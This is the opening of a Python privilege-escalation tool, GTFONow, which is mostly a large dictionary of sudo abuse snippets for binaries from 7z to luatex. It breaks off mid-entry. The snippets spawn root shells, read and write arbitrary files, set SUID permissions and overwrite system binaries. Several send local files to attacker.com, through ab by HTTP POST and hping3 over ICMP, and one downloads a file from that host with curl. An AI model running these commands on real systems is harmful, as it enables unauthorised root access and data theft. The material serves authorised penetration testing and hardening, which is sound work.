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gtfonow.py
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gtfonow.py
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#! /usr/bin/env/python
# -*- coding: utf-8 -*-
# https://github.com/Frissi0n/GTFONow
# Automatic privilege escalation for misconfiguRED capabilities, sudo and suid binaries.
from __future__ import print_function
import subprocess
import getpass
import os
import argparse
import sys
import re
import stat
import grp
import pwd
import logging
import platform
import time
import select
# SUDO_BINS_START
sudo_bins = {
"7z": [
{
"code": "LFILE=file_to_read\nsudo 7z a -ttar -an -so $LFILE | 7z e -ttar -si -so\n"
}
],
"aa-exec": [
{
"code": "sudo aa-exec /bin/sh"
}
],
"ab": [
{
"code": "URL=http://attacker.com/\nLFILE=file_to_send\nsudo ab -p $LFILE $URL\n",
"description": "Upload local file via HTTP POST request."
}
],
"alpine": [
{
"code": "LFILE=file_to_read\nsudo alpine -F \"$LFILE\"\n"
}
],
"ansible-playbook": [
{
"code": "TF=$(mktemp)\necho '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF\nsudo ansible-playbook $TF\n"
}
],
"ansible-test": [
{
"code": "sudo ansible-test shell"
}
],
"aoss": [
{
"code": "sudo aoss /bin/sh"
}
],
"apache2ctl": [
{
"code": "LFILE=file_to_read\nsudo apache2ctl -c \"Include $LFILE\" -k stop\n"
}
],
"apt": [
{
"code": "sudo apt changelog apt\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
},
{
"code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt install -c $TF sl\n",
"description": "For this to work the target package (e.g., `sl`) must not be installed."
},
{
"code": "sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh",
"description": "When the shell exits the `update` command is actually executed."
}
],
"apt-get": [
{
"code": "sudo apt-get changelog apt\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
},
{
"code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt-get install -c $TF sl\n",
"description": "For this to work the target package (e.g., `sl`) must not be installed."
},
{
"code": "sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh",
"description": "When the shell exits the `update` command is actually executed."
}
],
"ar": [
{
"code": "TF=$(mktemp -u)\nLFILE=file_to_read\nsudo ar r \"$TF\" \"$LFILE\"\ncat \"$TF\"\n"
}
],
"aria2c": [
{
"code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nsudo aria2c --on-download-error=$TF http://x\n"
}
],
"arj": [
{
"code": "TF=$(mktemp -d)\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >\"$TF/$LFILE\"\narj a \"$TF/a\" \"$TF/$LFILE\"\nsudo arj e \"$TF/a\" $LDIR\n",
"description": "The archive can also be prepared offline then uploaded."
}
],
"arp": [
{
"code": "LFILE=file_to_read\nsudo arp -v -f \"$LFILE\"\n"
}
],
"as": [
{
"code": "LFILE=file_to_read\nsudo as @$LFILE\n"
}
],
"ascii-xfr": [
{
"code": "LFILE=file_to_read\nsudo ascii-xfr -ns \"$LFILE\"\n"
}
],
"ascii85": [
{
"code": "LFILE=file_to_read\nsudo ascii85 \"$LFILE\" | ascii85 --decode\n"
}
],
"ash": [
{
"code": "sudo ash"
}
],
"aspell": [
{
"code": "LFILE=file_to_read\nsudo aspell -c \"$LFILE\"\n"
}
],
"at": [
{
"code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | sudo at now; tail -f /dev/null\n"
}
],
"atobm": [
{
"code": "LFILE=file_to_read\nsudo atobm $LFILE 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n"
}
],
"awk": [
{
"code": "sudo awk 'BEGIN {system(\"/bin/sh\")}'"
}
],
"aws": [
{
"code": "sudo aws help\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
}
],
"base32": [
{
"code": "LFILE=file_to_read\nsudo base32 \"$LFILE\" | base32 --decode\n"
}
],
"base58": [
{
"code": "LFILE=file_to_read\nsudo base58 \"$LFILE\" | base58 --decode\n"
}
],
"base64": [
{
"code": "LFILE=file_to_read\nsudo base64 \"$LFILE\" | base64 --decode\n"
}
],
"basenc": [
{
"code": "LFILE=file_to_read\nsudo basenc --base64 $LFILE | basenc -d --base64\n"
}
],
"basez": [
{
"code": "LFILE=file_to_read\nsudo basez \"$LFILE\" | basez --decode\n"
}
],
"bash": [
{
"code": "sudo bash"
}
],
"batcat": [
{
"code": "sudo batcat --paging always /etc/profile\n!/bin/sh\n"
}
],
"bc": [
{
"code": "LFILE=file_to_read\nsudo bc -s $LFILE\nquit\n"
}
],
"bconsole": [
{
"code": "sudo bconsole\n@exec /bin/sh\n"
}
],
"bpftrace": [
{
"code": "sudo bpftrace -e 'BEGIN {system(\"/bin/sh\");exit()}'"
},
{
"code": "TF=$(mktemp)\necho 'BEGIN {system(\"/bin/sh\");exit()}' >$TF\nsudo bpftrace $TF\n"
},
{
"code": "sudo bpftrace -c /bin/sh -e 'END {exit()}'"
}
],
"bridge": [
{
"code": "LFILE=file_to_read\nsudo bridge -b \"$LFILE\"\n"
}
],
"bundle": [
{
"code": "sudo bundle help\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
}
],
"bundler": [
{
"code": "sudo bundler help\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
}
],
"busctl": [
{
"code": "sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'\n"
}
],
"busybox": [
{
"code": "sudo busybox sh"
}
],
"byebug": [
{
"code": "TF=$(mktemp)\necho 'system(\"/bin/sh\")' > $TF\nsudo byebug $TF\ncontinue\n"
}
],
"bzip2": [
{
"code": "LFILE=file_to_read\nsudo bzip2 -c $LFILE | bzip2 -d\n"
}
],
"c89": [
{
"code": "sudo c89 -wrapper /bin/sh,-s ."
}
],
"c99": [
{
"code": "sudo c99 -wrapper /bin/sh,-s ."
}
],
"cabal": [
{
"code": "sudo cabal exec -- /bin/sh"
}
],
"capsh": [
{
"code": "sudo capsh --"
}
],
"cat": [
{
"code": "LFILE=file_to_read\nsudo cat \"$LFILE\"\n"
}
],
"cdist": [
{
"code": "sudo cdist shell -s /bin/sh"
}
],
"certbot": [
{
"code": "TF=$(mktemp -d)\nsudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n"
}
],
"check_by_ssh": [
{
"code": "sudo check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx",
"description": "The shell will only last 10 seconds."
}
],
"check_cups": [
{
"code": "LFILE=file_to_read\nsudo check_cups --extra-opts=@$LFILE\n"
}
],
"check_log": [
{
"code": "LFILE=file_to_write\nINPUT=input_file\nsudo check_log -F $INPUT -O $LFILE\n"
}
],
"check_memory": [
{
"code": "LFILE=file_to_read\nsudo check_memory --extra-opts=@$LFILE\n"
}
],
"check_raid": [
{
"code": "LFILE=file_to_read\nsudo check_raid --extra-opts=@$LFILE\n"
}
],
"check_ssl_cert": [
{
"code": "COMMAND=id\nOUTPUT=output_file\nTF=$(mktemp)\necho \"$COMMAND | tee $OUTPUT\" > $TF\nchmod +x $TF\numask 022\ncheck_ssl_cert --curl-bin $TF -H example.net\ncat $OUTPUT\n",
"description": "The host example.net must return a certificate via TLS"
}
],
"check_statusfile": [
{
"code": "LFILE=file_to_read\nsudo check_statusfile $LFILE\n"
}
],
"chmod": [
{
"code": "LFILE=file_to_change\nsudo chmod 6777 $LFILE\n"
}
],
"choom": [
{
"code": "sudo choom -n 0 /bin/sh"
}
],
"chown": [
{
"code": "LFILE=file_to_change\nsudo chown $(id -un):$(id -gn) $LFILE\n"
}
],
"chroot": [
{
"code": "sudo chroot /\n"
}
],
"clamscan": [
{
"code": "LFILE=file_to_read\nTF=$(mktemp -d)\ntouch $TF/empty.yara\nsudo clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\\1/p'\n"
}
],
"cmp": [
{
"code": "LFILE=file_to_read\nsudo cmp $LFILE /dev/zero -b -l\n"
}
],
"cobc": [
{
"code": "TF=$(mktemp -d)\necho 'CALL \"SYSTEM\" USING \"/bin/sh\".' > $TF/x\nsudo cobc -xFj --frelax-syntax-checks $TF/x\n"
}
],
"column": [
{
"code": "LFILE=file_to_read\nsudo column $LFILE\n"
}
],
"comm": [
{
"code": "LFILE=file_to_read\nsudo comm $LFILE /dev/null 2>/dev/null\n"
}
],
"composer": [
{
"code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\nsudo composer --working-dir=$TF run-script x\n"
}
],
"cowsay": [
{
"code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowsay -f $TF x\n"
}
],
"cowthink": [
{
"code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowthink -f $TF x\n"
}
],
"cp": [
{
"code": "LFILE=file_to_write\necho \"DATA\" | sudo cp /dev/stdin \"$LFILE\"\n"
},
{
"code": "LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\nsudo cp $TF $LFILE\n",
"description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)"
},
{
"code": "sudo cp /bin/sh /bin/cp\nsudo cp\n",
"description": "This overrides `cp` itself with a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `cp` by path. Warning, this is a destructive action."
}
],
"cpan": [
{
"code": "sudo cpan\n! exec '/bin/bash'\n"
}
],
"cpio": [
{
"code": "echo '/bin/sh </dev/tty >/dev/tty' >localhost\nsudo cpio -o --rsh-command /bin/sh -F localhost:\n"
},
{
"code": "LFILE=file_to_read\nTF=$(mktemp -d)\necho \"$LFILE\" | sudo cpio -R $UID -dp $TF\ncat \"$TF/$LFILE\"\n",
"description": "The whole directory structure is copied to `$TF`."
},
{
"code": "LFILE=file_to_write\nLDIR=where_to_write\necho DATA >$LFILE\necho $LFILE | sudo cpio -R 0:0 -p $LDIR\n",
"description": "Copies `$LFILE` to the `$LDIR` directory."
}
],
"cpulimit": [
{
"code": "sudo cpulimit -l 100 -f /bin/sh"
}
],
"crash": [
{
"code": "sudo crash -h\n!sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
}
],
"crontab": [
{
"code": "sudo crontab -e",
"description": "The commands are executed according to the crontab file edited via the `crontab` utility."
}
],
"csh": [
{
"code": "sudo csh"
}
],
"csplit": [
{
"code": "LFILE=file_to_read\ncsplit $LFILE 1\ncat xx01\n"
}
],
"csvtool": [
{
"code": "sudo csvtool call '/bin/sh;false' /etc/passwd"
}
],
"cupsfilter": [
{
"code": "LFILE=file_to_read\nsudo cupsfilter -i application/octet-stream -m application/octet-stream $LFILE\n"
}
],
"curl": [
{
"code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\nsudo curl $URL -o $LFILE\n",
"description": "Fetch a remote file via HTTP GET request."
}
],
"cut": [
{
"code": "LFILE=file_to_read\nsudo cut -d \"\" -f1 \"$LFILE\"\n"
}
],
"dash": [
{
"code": "sudo dash"
}
],
"date": [
{
"code": "LFILE=file_to_read\nsudo date -f $LFILE\n"
}
],
"dc": [
{
"code": "sudo dc -e '!/bin/sh'"
}
],
"dd": [
{
"code": "LFILE=file_to_write\necho \"data\" | sudo dd of=$LFILE\n"
}
],
"debugfs": [
{
"code": "sudo debugfs\n!/bin/sh\n"
}
],
"dialog": [
{
"code": "LFILE=file_to_read\nsudo dialog --textbox \"$LFILE\" 0 0\n"
}
],
"diff": [
{
"code": "LFILE=file_to_read\nsudo diff --line-format=%L /dev/null $LFILE\n"
}
],
"dig": [
{
"code": "LFILE=file_to_read\nsudo dig -f $LFILE\n"
}
],
"distcc": [
{
"code": "sudo distcc /bin/sh"
}
],
"dmesg": [
{
"code": "sudo dmesg -H\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
}
],
"dmidecode": [
{
"code": "LFILE=file_to_write\nsudo dmidecode --no-sysfs -d x.dmi --dump-bin \"$LFILE\"\n",
"description": "It can be used to overwrite files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode.\nGenerate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target.\n\n- `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes.\n\n- `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option.\n\n```\nmake dmiwrite\nTF=$(mktemp)\necho \"DATA\" > $TF\n./dmiwrite $TF x.dmi\n```\n"
}
],
"dmsetup": [
{
"code": "sudo dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\nsudo dmsetup ls --exec '/bin/sh -s'\n"
}
],
"dnf": [
{
"code": "sudo dnf install -y x-1.0-1.noarch.rpm\n",
"description": "It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```\n"
}
],
"docker": [
{
"code": "sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh",
"description": "The resulting is a root shell."
}
],
"dosbox": [
{
"code": "LFILE='\\path\\to\\file_to_write'\nsudo dosbox -c 'mount c /' -c \"echo DATA >c:$LFILE\" -c exit\n",
"description": "Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\\r\\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write."
}
],
"dotnet": [
{
"code": "sudo dotnet fsi\nSystem.Diagnostics.Process.Start(\"/bin/sh\").WaitForExit();;\n"
}
],
"dpkg": [
{
"code": "sudo dpkg -l\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
},
{
"code": "sudo dpkg -i x_1.0_all.deb",
"description": "It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'exec /bin/sh' > $TF/x.sh\nfpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF\n```\n"
}
],
"dstat": [
{
"code": "echo 'import os; os.execv(\"/bin/sh\", [\"sh\"])' >/usr/local/share/dstat/dstat_xxx.py\nsudo dstat --xxx\n"
}
],
"dvips": [
{
"code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\nsudo dvips -R0 texput.dvi\n"
}
],
"easy_install": [
{
"code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\nsudo easy_install $TF\n"
}
],
"eb": [
{
"code": "sudo eb logs\n!/bin/sh\n"
}
],
"ed": [
{
"code": "sudo ed\n!/bin/sh\n"
}
],
"efax": [
{
"code": "LFILE=file_to_read\nsudo efax -d \"$LFILE\"\n"
}
],
"elvish": [
{
"code": "sudo elvish"
}
],
"emacs": [
{
"code": "sudo emacs -Q -nw --eval '(term \"/bin/sh\")'"
}
],
"enscript": [
{
"code": "sudo enscript /dev/null -qo /dev/null -I '/bin/sh >&2'"
}
],
"env": [
{
"code": "sudo env /bin/sh"
}
],
"eqn": [
{
"code": "LFILE=file_to_read\nsudo eqn \"$LFILE\"\n"
}
],
"espeak": [
{
"code": "LFILE=file_to_read\nsudo espeak -qXf \"$LFILE\"\n"
}
],
"ex": [
{
"code": "sudo ex\n!/bin/sh\n"
}
],
"exiftool": [
{
"code": "LFILE=file_to_write\nINPUT=input_file\nsudo exiftool -filename=$LFILE $INPUT\n"
}
],
"expand": [
{
"code": "LFILE=file_to_read\nsudo expand \"$LFILE\"\n"
}
],
"expect": [
{
"code": "sudo expect -c 'spawn /bin/sh;interact'"
}
],
"facter": [
{
"code": "TF=$(mktemp -d)\necho 'exec(\"/bin/sh\")' > $TF/x.rb\nsudo FACTERLIB=$TF facter\n"
}
],
"file": [
{
"code": "LFILE=file_to_read\nsudo file -f $LFILE\n",
"description": "Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation, so this may not be suitable for binary files."
}
],
"find": [
{
"code": "sudo find . -exec /bin/sh \\; -quit"
}
],
"fish": [
{
"code": "sudo fish"
}
],
"flock": [
{
"code": "sudo flock -u / /bin/sh"
}
],
"fmt": [
{
"code": "LFILE=file_to_read\nsudo fmt -999 \"$LFILE\"\n",
"description": "This corrupts the output by wrapping very long lines at the given width."
}
],
"fold": [
{
"code": "LFILE=file_to_read\nsudo fold -w99999999 \"$LFILE\"\n"
}
],
"fping": [
{
"code": "LFILE=file_to_read\nsudo fping -f $LFILE\n"
}
],
"ftp": [
{
"code": "sudo ftp\n!/bin/sh\n"
}
],
"gawk": [
{
"code": "sudo gawk 'BEGIN {system(\"/bin/sh\")}'"
}
],
"gcc": [
{
"code": "sudo gcc -wrapper /bin/sh,-s ."
}
],
"gcloud": [
{
"code": "sudo gcloud help\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
}
],
"gcore": [
{
"code": "sudo gcore $PID"
}
],
"gdb": [
{
"code": "sudo gdb -nx -ex '!sh' -ex quit"
}
],
"gem": [
{
"code": "sudo gem open -e \"/bin/sh -c /bin/sh\" rdoc",
"description": "This requires the name of an installed gem to be provided (`rdoc` is usually installed)."
}
],
"genie": [
{
"code": "sudo genie -c '/bin/sh'"
}
],
"genisoimage": [
{
"code": "LFILE=file_to_read\nsudo genisoimage -q -o - \"$LFILE\"\n"
}
],
"ghc": [
{
"code": "sudo ghc -e 'System.Process.callCommand \"/bin/sh\"'"
}
],
"ghci": [
{
"code": "sudo ghci\nSystem.Process.callCommand \"/bin/sh\"\n"
}
],
"gimp": [
{
"code": "sudo gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system(\"sh\")'"
}
],
"ginsh": [
{
"code": "sudo ginsh\n!/bin/sh\n"
}
],
"git": [
{
"code": "sudo PAGER='sh -c \"exec sh 0<&1\"' git -p help"
},
{
"code": "sudo git -p help config\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
},
{
"code": "sudo git branch --help config\n!/bin/sh\n",
"description": "The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
},
{
"code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\nsudo git -C \"$TF\" commit --allow-empty -m x\n",
"description": "Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option."
},
{
"code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\nsudo git \"--exec-path=$TF\" x\n"
}
],
"grc": [
{
"code": "sudo grc --pty /bin/sh"
}
],
"grep": [
{
"code": "LFILE=file_to_read\nsudo grep '' $LFILE\n"
}
],
"gtester": [
{
"code": "TF=$(mktemp)\necho '#!/bin/sh' > $TF\necho 'exec /bin/sh 0<&1' >> $TF\nchmod +x $TF\nsudo gtester -q $TF\n"
}
],
"gzip": [
{
"code": "LFILE=file_to_read\nsudo gzip -f $LFILE -t\n"
}
],
"hd": [
{
"code": "LFILE=file_to_read\nsudo hd \"$LFILE\"\n"
}
],
"head": [
{
"code": "LFILE=file_to_read\nsudo head -c1G \"$LFILE\"\n"
}
],
"hexdump": [
{
"code": "LFILE=file_to_read\nsudo hexdump -C \"$LFILE\"\n"
}
],
"highlight": [
{
"code": "LFILE=file_to_read\nsudo highlight --no-doc --failsafe \"$LFILE\"\n"
}
],
"hping3": [
{
"code": "sudo hping3\n/bin/sh\n"
},
{
"code": "RHOST=attacker.com\nLFILE=file_to_read\nsudo hping3 \"$RHOST\" --icmp --data 500 --sign xxx --file \"$LFILE\"\n",
"description": "The file is continuously sent, adjust the `--count` parameter or kill the sender when done. Receive on the attacker box with:\n\n```\nsudo hping3 --icmp --listen xxx --dump\n```\n"
}
],
"iconv": [
{
"code": "LFILE=file_to_read\n./iconv -f 8859_1 -t 8859_1 \"$LFILE\"\n"
}
],
"iftop": [
{
"code": "sudo iftop\n!/bin/sh\n"
}
],
"install": [
{
"code": "LFILE=file_to_change\nTF=$(mktemp)\nsudo install -m 6777 $LFILE $TF\n"
}
],
"ionice": [
{
"code": "sudo ionice /bin/sh"
}
],
"ip": [
{
"code": "LFILE=file_to_read\nsudo ip -force -batch \"$LFILE\"\n"
},
{
"code": "sudo ip netns add foo\nsudo ip netns exec foo /bin/sh\nsudo ip netns delete foo\n",
"description": "This only works for Linux with CONFIG_NET_NS=y."
},
{
"code": "sudo ip netns add foo\nsudo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar\nsudo ip netns exec bar /bin/sh\nsudo ip netns delete foo\nsudo ip netns delete bar\n",
"description": "This only works for Linux with CONFIG_NET_NS=y. This version also grants network access."
}
],
"irb": [
{
"code": "sudo irb\nexec '/bin/bash'\n"
}
],
"ispell": [
{
"code": "sudo ispell /etc/passwd\n!/bin/sh\n"
}
],
"jjs": [
{
"code": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()\" | sudo jjs"
}
],
"joe": [
{
"code": "sudo joe\n^K!/bin/sh\n"
}
],
"join": [
{
"code": "LFILE=file_to_read\nsudo join -a 2 /dev/null $LFILE\n"
}
],
"journalctl": [
{
"code": "sudo journalctl\n!/bin/sh\n"
}
],
"jq": [
{
"code": "LFILE=file_to_read\nsudo jq -Rr . \"$LFILE\"\n"
}
],
"jrunscript": [
{
"code": "sudo jrunscript -e \"exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')\""
}
],
"jtag": [
{
"code": "sudo jtag --interactive\nshell /bin/sh\n"
}
],
"julia": [
{
"code": "sudo julia -e 'run(`/bin/sh`)'\n"
}
],
"knife": [
{
"code": "sudo knife exec -E 'exec \"/bin/sh\"'\n"
}
],
"ksh": [
{
"code": "sudo ksh"
}
],
"ksshell": [
{
"code": "LFILE=file_to_read\nsudo ksshell -i $LFILE\n"
}
],
"ksu": [
{
"code": "sudo ksu -q -e /bin/sh"
}
],
"kubectl": [
{
"code": "LFILE=dir_to_serve\nsudo kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/\n"
}
],
"latex": [
{
"code": "sudo latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\nstrings article.dvi\n",
"description": "The read file will be part of the output."
},
{
"code": "sudo latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
}
],
"latexmk": [
{
"code": "sudo latexmk -e 'exec \"/bin/sh\";'"
}
],
"ld.so": [
{
"code": "sudo /lib/ld.so /bin/sh"
}
],
"ldconfig": [
{
"code": "TF=$(mktemp -d)\necho \"$TF\" > \"$TF/conf\"\n# move malicious libraries in $TF\nsudo ldconfig -f \"$TF/conf\"\n",
"description": "This allows to override one or more shared libraries. Beware though that it is easy to *break* target and other binaries."
}
],
"less": [
{
"code": "sudo less /etc/profile\n!/bin/sh\n"
}
],
"lftp": [
{
"code": "sudo lftp -c '!/bin/sh'"
}
],
"ln": [
{
"code": "sudo ln -fs /bin/sh /bin/ln\nsudo ln\n"
}
],
"loginctl": [
{
"code": "sudo loginctl user-status\n!/bin/sh\n"
}
],
"logsave": [
{
"code": "sudo logsave /dev/null /bin/sh -i"
}
],
"look": [
{
"code": "LFILE=file_to_read\nsudo look '' \"$LFILE\"\n"
}
],
"ltrace": [
{
"code": "sudo ltrace -b -L /bin/sh"
}
],
"lua": [
{
"code": "sudo lua -e 'os.execute(\"/bin/sh\")'"
}
],
"lualatex": [
{
"code": "sudo lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'"
}
],
"luatex": [
{
"code": "sudo luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'"
}
],
"lwp-download": [
{